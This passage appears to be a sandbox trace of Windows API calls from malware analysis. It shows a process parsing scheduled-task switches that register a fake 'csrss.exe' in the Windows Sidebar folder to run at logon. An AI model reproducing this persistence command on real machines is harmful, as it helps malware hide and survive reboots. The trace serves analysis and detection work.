_Buffer=0x7c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|sc|") returned 4 [0057.709] lstrlenW (lpString="|?|") returned 3 [0057.709] lstrlenW (lpString="|sc|") returned 4 [0057.709] SetLastError (dwErrCode=0x490) [0057.709] lstrlenW (lpString="s") returned 1 [0057.709] lstrlenW (lpString="s") returned 1 [0057.709] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.709] lstrlenW (lpString="sc") returned 2 [0057.710] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.710] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|s|") returned 3 [0057.710] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|sc|") returned 4 [0057.710] lstrlenW (lpString="|s|") returned 3 [0057.710] lstrlenW (lpString="|sc|") returned 4 [0057.710] SetLastError (dwErrCode=0x490) [0057.710] lstrlenW (lpString="u") returned 1 [0057.710] lstrlenW (lpString="u") returned 1 [0057.710] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.710] lstrlenW (lpString="sc") returned 2 [0057.710] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.710] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|u|") returned 3 [0057.710] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|sc|") returned 4 [0057.710] lstrlenW (lpString="|u|") returned 3 [0057.710] lstrlenW (lpString="|sc|") returned 4 [0057.710] SetLastError (dwErrCode=0x490) [0057.710] lstrlenW (lpString="p") returned 1 [0057.710] lstrlenW (lpString="p") returned 1 [0057.710] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.710] lstrlenW (lpString="sc") returned 2 [0057.710] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.710] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|p|") returned 3 [0057.710] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|sc|") returned 4 [0057.710] lstrlenW (lpString="|p|") returned 3 [0057.710] lstrlenW (lpString="|sc|") returned 4 [0057.710] SetLastError (dwErrCode=0x490) [0057.710] lstrlenW (lpString="ru") returned 2 [0057.710] lstrlenW (lpString="ru") returned 2 [0057.710] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.710] lstrlenW (lpString="sc") returned 2 [0057.710] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.711] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|ru|") returned 4 [0057.711] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|sc|") returned 4 [0057.711] lstrlenW (lpString="|ru|") returned 4 [0057.711] lstrlenW (lpString="|sc|") returned 4 [0057.711] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0057.711] SetLastError (dwErrCode=0x490) [0057.711] lstrlenW (lpString="rp") returned 2 [0057.711] lstrlenW (lpString="rp") returned 2 [0057.711] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.711] lstrlenW (lpString="sc") returned 2 [0057.711] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.711] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|rp|") returned 4 [0057.711] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|sc|") returned 4 [0057.711] lstrlenW (lpString="|rp|") returned 4 [0057.711] lstrlenW (lpString="|sc|") returned 4 [0057.711] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0057.711] SetLastError (dwErrCode=0x490) [0057.711] lstrlenW (lpString="sc") returned 2 [0057.711] lstrlenW (lpString="sc") returned 2 [0057.711] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.711] lstrlenW (lpString="sc") returned 2 [0057.711] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.711] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|sc|") returned 4 [0057.711] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|sc|") returned 4 [0057.711] lstrlenW (lpString="|sc|") returned 4 [0057.711] lstrlenW (lpString="|sc|") returned 4 [0057.711] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0057.711] SetLastError (dwErrCode=0x0) [0057.711] SetLastError (dwErrCode=0x0) [0057.711] lstrlenW (lpString="ONLOGON") returned 7 [0057.712] lstrlenW (lpString="-/") returned 2 [0057.712] StrChrIW (lpStart="-/", wMatch=0x4f) returned 0x0 [0057.712] SetLastError (dwErrCode=0x490) [0057.712] SetLastError (dwErrCode=0x490) [0057.712] SetLastError (dwErrCode=0x0) [0057.712] lstrlenW (lpString="ONLOGON") returned 7 [0057.712] StrChrIW (lpStart="ONLOGON", wMatch=0x3a) returned 0x0 [0057.712] SetLastError (dwErrCode=0x490) [0057.712] SetLastError (dwErrCode=0x0) [0057.712] GetProcessHeap () returned 0x60000 [0057.712] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x18) returned 0x7d6a0 [0057.712] _memicmp (_Buf1=0x7d6a0, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.712] lstrlenW (lpString="ONLOGON") returned 7 [0057.712] GetProcessHeap () returned 0x60000 [0057.712] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x10) returned 0x7d6c0 [0057.712] lstrlenW (lpString="ONLOGON") returned 7 [0057.712] lstrlenW (lpString=" \x09") returned 2 [0057.712] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0057.712] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0057.712] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0057.712] StrChrW (lpStart=" \x09", wMatch=0x4c) returned 0x0 [0057.712] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0057.712] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0057.712] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0057.712] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0057.712] GetLastError () returned 0x0 [0057.712] lstrlenW (lpString="ONLOGON") returned 7 [0057.713] lstrlenW (lpString="ONLOGON") returned 7 [0057.713] SetLastError (dwErrCode=0x0) [0057.713] SetLastError (dwErrCode=0x0) [0057.713] lstrlenW (lpString="/tr") returned 3 [0057.713] lstrlenW (lpString="-/") returned 2 [0057.713] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0057.713] lstrlenW (lpString="create") returned 6 [0057.713] lstrlenW (lpString="create") returned 6 [0057.713] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.713] lstrlenW (lpString="tr") returned 2 [0057.713] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.713] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|create|") returned 8 [0057.713] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|tr|") returned 4 [0057.713] lstrlenW (lpString="|create|") returned 8 [0057.713] lstrlenW (lpString="|tr|") returned 4 [0057.713] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0057.713] SetLastError (dwErrCode=0x490) [0057.713] lstrlenW (lpString="?") returned 1 [0057.713] lstrlenW (lpString="?") returned 1 [0057.713] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.713] lstrlenW (lpString="tr") returned 2 [0057.713] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.713] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|?|") returned 3 [0057.713] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|tr|") returned 4 [0057.713] lstrlenW (lpString="|?|") returned 3 [0057.713] lstrlenW (lpString="|tr|") returned 4 [0057.713] SetLastError (dwErrCode=0x490) [0057.713] lstrlenW (lpString="s") returned 1 [0057.713] lstrlenW (lpString="s") returned 1 [0057.713] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.713] lstrlenW (lpString="tr") returned 2 [0057.713] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.714] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|s|") returned 3 [0057.714] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|tr|") returned 4 [0057.714] lstrlenW (lpString="|s|") returned 3 [0057.714] lstrlenW (lpString="|tr|") returned 4 [0057.714] SetLastError (dwErrCode=0x490) [0057.714] lstrlenW (lpString="u") returned 1 [0057.714] lstrlenW (lpString="u") returned 1 [0057.714] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.714] lstrlenW (lpString="tr") returned 2 [0057.714] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.714] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|u|") returned 3 [0057.714] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|tr|") returned 4 [0057.714] lstrlenW (lpString="|u|") returned 3 [0057.714] lstrlenW (lpString="|tr|") returned 4 [0057.714] SetLastError (dwErrCode=0x490) [0057.714] lstrlenW (lpString="p") returned 1 [0057.714] lstrlenW (lpString="p") returned 1 [0057.714] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.714] lstrlenW (lpString="tr") returned 2 [0057.714] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.714] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|p|") returned 3 [0057.714] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|tr|") returned 4 [0057.714] lstrlenW (lpString="|p|") returned 3 [0057.714] lstrlenW (lpString="|tr|") returned 4 [0057.714] SetLastError (dwErrCode=0x490) [0057.714] lstrlenW (lpString="ru") returned 2 [0057.714] lstrlenW (lpString="ru") returned 2 [0057.714] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.714] lstrlenW (lpString="tr") returned 2 [0057.714] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.715] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|ru|") returned 4 [0057.715] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|tr|") returned 4 [0057.715] lstrlenW (lpString="|ru|") returned 4 [0057.715] lstrlenW (lpString="|tr|") returned 4 [0057.715] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0057.715] SetLastError (dwErrCode=0x490) [0057.715] lstrlenW (lpString="rp") returned 2 [0057.715] lstrlenW (lpString="rp") returned 2 [0057.715] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.715] lstrlenW (lpString="tr") returned 2 [0057.715] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.715] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|rp|") returned 4 [0057.715] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|tr|") returned 4 [0057.715] lstrlenW (lpString="|rp|") returned 4 [0057.715] lstrlenW (lpString="|tr|") returned 4 [0057.715] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0057.715] SetLastError (dwErrCode=0x490) [0057.715] lstrlenW (lpString="sc") returned 2 [0057.715] lstrlenW (lpString="sc") returned 2 [0057.715] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.715] lstrlenW (lpString="tr") returned 2 [0057.715] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.715] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|sc|") returned 4 [0057.715] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|tr|") returned 4 [0057.715] lstrlenW (lpString="|sc|") returned 4 [0057.715] lstrlenW (lpString="|tr|") returned 4 [0057.715] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0057.715] SetLastError (dwErrCode=0x490) [0057.716] lstrlenW (lpString="mo") returned 2 [0057.716] lstrlenW (lpString="mo") returned 2 [0057.716] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.716] lstrlenW (lpString="tr") returned 2 [0057.716] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.716] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|mo|") returned 4 [0057.716] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|tr|") returned 4 [0057.716] lstrlenW (lpString="|mo|") returned 4 [0057.716] lstrlenW (lpString="|tr|") returned 4 [0057.716] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0057.716] SetLastError (dwErrCode=0x490) [0057.716] lstrlenW (lpString="d") returned 1 [0057.716] lstrlenW (lpString="d") returned 1 [0057.716] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.716] lstrlenW (lpString="tr") returned 2 [0057.716] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.716] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|d|") returned 3 [0057.716] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|tr|") returned 4 [0057.716] lstrlenW (lpString="|d|") returned 3 [0057.716] lstrlenW (lpString="|tr|") returned 4 [0057.716] SetLastError (dwErrCode=0x490) [0057.716] lstrlenW (lpString="m") returned 1 [0057.716] lstrlenW (lpString="m") returned 1 [0057.716] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.716] lstrlenW (lpString="tr") returned 2 [0057.716] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.716] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|m|") returned 3 [0057.716] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|tr|") returned 4 [0057.716] lstrlenW (lpString="|m|") returned 3 [0057.716] lstrlenW (lpString="|tr|") returned 4 [0057.717] SetLastError (dwErrCode=0x490) [0057.717] lstrlenW (lpString="i") returned 1 [0057.717] lstrlenW (lpString="i") returned 1 [0057.717] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.717] lstrlenW (lpString="tr") returned 2 [0057.717] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.717] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|i|") returned 3 [0057.717] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|tr|") returned 4 [0057.717] lstrlenW (lpString="|i|") returned 3 [0057.717] lstrlenW (lpString="|tr|") returned 4 [0057.717] SetLastError (dwErrCode=0x490) [0057.717] lstrlenW (lpString="tn") returned 2 [0057.717] lstrlenW (lpString="tn") returned 2 [0057.717] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.717] lstrlenW (lpString="tr") returned 2 [0057.717] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.717] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|tn|") returned 4 [0057.717] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|tr|") returned 4 [0057.717] lstrlenW (lpString="|tn|") returned 4 [0057.717] lstrlenW (lpString="|tr|") returned 4 [0057.717] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0057.717] SetLastError (dwErrCode=0x490) [0057.717] lstrlenW (lpString="tr") returned 2 [0057.717] lstrlenW (lpString="tr") returned 2 [0057.717] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.717] lstrlenW (lpString="tr") returned 2 [0057.717] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.717] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|tr|") returned 4 [0057.717] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|tr|") returned 4 [0057.717] lstrlenW (lpString="|tr|") returned 4 [0057.717] lstrlenW (lpString="|tr|") returned 4 [0057.718] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0057.718] SetLastError (dwErrCode=0x0) [0057.718] SetLastError (dwErrCode=0x0) [0057.718] lstrlenW (lpString="'C:\\Program Files (x86)\\Windows Sidebar\\csrss.exe'") returned 50 [0057.718] lstrlenW (lpString="-/") returned 2 [0057.718] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0057.718] SetLastError (dwErrCode=0x490) [0057.718] SetLastError (dwErrCode=0x490) [0057.718] SetLastError (dwErrCode=0x0) [0057.718] lstrlenW (lpString="'C:\\Program Files (x86)\\Windows Sidebar\\csrss.exe'") returned 50 [0057.718] StrChrIW (lpStart="'C:\\Program Files (x86)\\Windows Sidebar\\csrss.exe'", wMatch=0x3a) returned=":\\Program Files (x86)\\Windows Sidebar\\csrss.exe'" [0057.718] lstrlenW (lpString="'C:\\Program Files (x86)\\Windows Sidebar\\csrss.exe'") returned 50 [0057.718] _memicmp (_Buf1=0x7c430, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.718] _memicmp (_Buf1=0x7d640, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.718] SetLastError (dwErrCode=0x7a) [0057.718] SetLastError (dwErrCode=0x0) [0057.718] SetLastError (dwErrCode=0x0) [0057.718] lstrlenW (lpString="'C") returned 2 [0057.718] lstrlenW (lpString="-/") returned 2 [0057.718] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0057.718] SetLastError (dwErrCode=0x490) [0057.718] SetLastError (dwErrCode=0x490) [0057.718] SetLastError (dwErrCode=0x0) [0057.718] _memicmp (_Buf1=0x7d6a0, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.718] lstrlenW (lpString="'C:\\Program Files (x86)\\Windows Sidebar\\csrss.exe'") returned 50 [0057.718] GetProcessHeap () returned 0x60000 [0057.718] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7d6c0) returned 1 [0057.718] GetProcessHeap () returned 0x60000 [0057.718] RtlReAllocateHeap (Heap=0x60000, Flags=0xc, Ptr=0x7d6c0, Size=0x66) returned 0x7c3b0 [0057.718] lstrlenW (lpString="'C:\\Program Files (x86)\\Windows Sidebar\\csrss.exe'") returned 50 [0057.718] lstrlenW (lpString=" \x09") returned 2 [0057.718] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0057.719] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0057.719] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0057.719] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0057.719] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0057.719] StrChrW (lpStart=" \x09", wMatch=0x50) returned 0x0 [0057.719] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0057.719] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0057.719] StrChrW (lpStart=" \x09", wMatch=0x67) returned 0x0 [0057.719] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0057.719] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0057.719] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0057.719] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0057.719] StrChrW (lpStart=" \x09", wMatch=0x46) returned 0x0 [0057.719] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0057.719] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0057.719] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0057.719] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0057.719] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0057.719] StrChrW (lpStart=" \x09", wMatch=0x28) returned 0x0 [0057.719] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0057.719] StrChrW (lpStart=" \x09", wMatch=0x38) returned 0x0 [0057.719] StrChrW (lpStart=" \x09", wMatch=0x36) returned 0x0 [0057.719] StrChrW (lpStart=" \x09", wMatch=0x29) returned 0x0 [0057.719] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0057.719] StrChrW (lpStart=" \x09", wMatch=0x57) returned 0x0 [0057.719] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0057.719] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0057.719] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0057.719] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0057.719] StrChrW (lpStart=" \x09", wMatch=0x77) returned 0x0 [0057.719] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0057.719] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0057.720] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0057.720] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0057.720] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0057.720] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0057.720] StrChrW (lpStart=" \x09", wMatch=0x62) returned 0x0 [0057.720] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0057.720] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0057.720] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0057.720] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0057.720] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0057.720] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0057.720] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0057.720] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0057.720] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0057.720] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0057.720] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0057.720] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0057.720] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0057.720] GetLastError () returned 0x0 [0057.720] lstrlenW (lpString="'C:\\Program Files (x86)\\Windows Sidebar\\csrss.exe'") returned 50 [0057.720] lstrlenW (lpString="'C:\\Program Files (x86)\\Windows Sidebar\\csrss.exe'") returned 50 [0057.720] SetLastError (dwErrCode=0x0) [0057.720] SetLastError (dwErrCode=0x0) [0057.720] lstrlenW (lpString="/rl") returned 3 [0057.720] lstrlenW (lpString="-/") returned 2 [0057.720] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0057.720] lstrlenW (lpString="create") returned 6 [0057.720] lstrlenW (lpString="create") returned 6 [0057.720] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.720] lstrlenW (lpString="rl") returned 2 [0057.720] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.721] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|create|") returned 8 [0057.721] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|rl|") returned 4 [0057.721] lstrlenW (lpString="|create|") returned 8 [0057.721] lstrlenW (lpString="|rl|") returned 4 [0057.721] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0057.721] SetLastError (dwErrCode=0x490) [0057.721] lstrlenW (lpString="?") returned 1 [0057.721] lstrlenW (lpString="?") returned 1 [0057.721] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.721] lstrlenW (lpString="rl") returned 2 [0057.721] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.721] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|?|") returned 3 [0057.721] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|rl|") returned 4 [0057.721] lstrlenW (lpString="|?|") returned 3 [0057.721] lstrlenW (lpString="|rl|") returned 4 [0057.721] SetLastError (dwErrCode=0x490) [0057.721] lstrlenW (lpString="s") returned 1 [0057.721] lstrlenW (lpString="s") returned 1 [0057.721] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.721] lstrlenW (lpString="rl") returned 2 [0057.721] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.721] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|s|") returned 3 [0057.721] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|rl|") returned 4 [0057.721] lstrlenW (lpString="|s|") returned 3 [0057.721] lstrlenW (lpString="|rl|") returned 4 [0057.721] SetLastError (dwErrCode=0x490) [0057.721] lstrlenW (lpString="u") returned 1 [0057.721] lstrlenW (lpString="u") returned 1 [0057.721] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.721] lstrlenW (lpString="rl") returned 2 [0057.722] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.722] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|u|") returned 3 [0057.722] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c488 | out: _Buffer="|rl|") returned 4 [0057.722] lstrlenW (lpString="|u|") returned 3 [0057.722] lstrlenW (lpString="|rl|") returned 4 [0057.722] SetLastError (dwErrCode=0x490) [0057.722] lstrlenW (lpString="p") returned 1 [0057.722] lstrlenW (lpString="p") returned 1 [0057.722] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.722] lstrlenW (lpString="rl") returned 2 [0057.722] _memicmp (_Buf1=0x7c340, 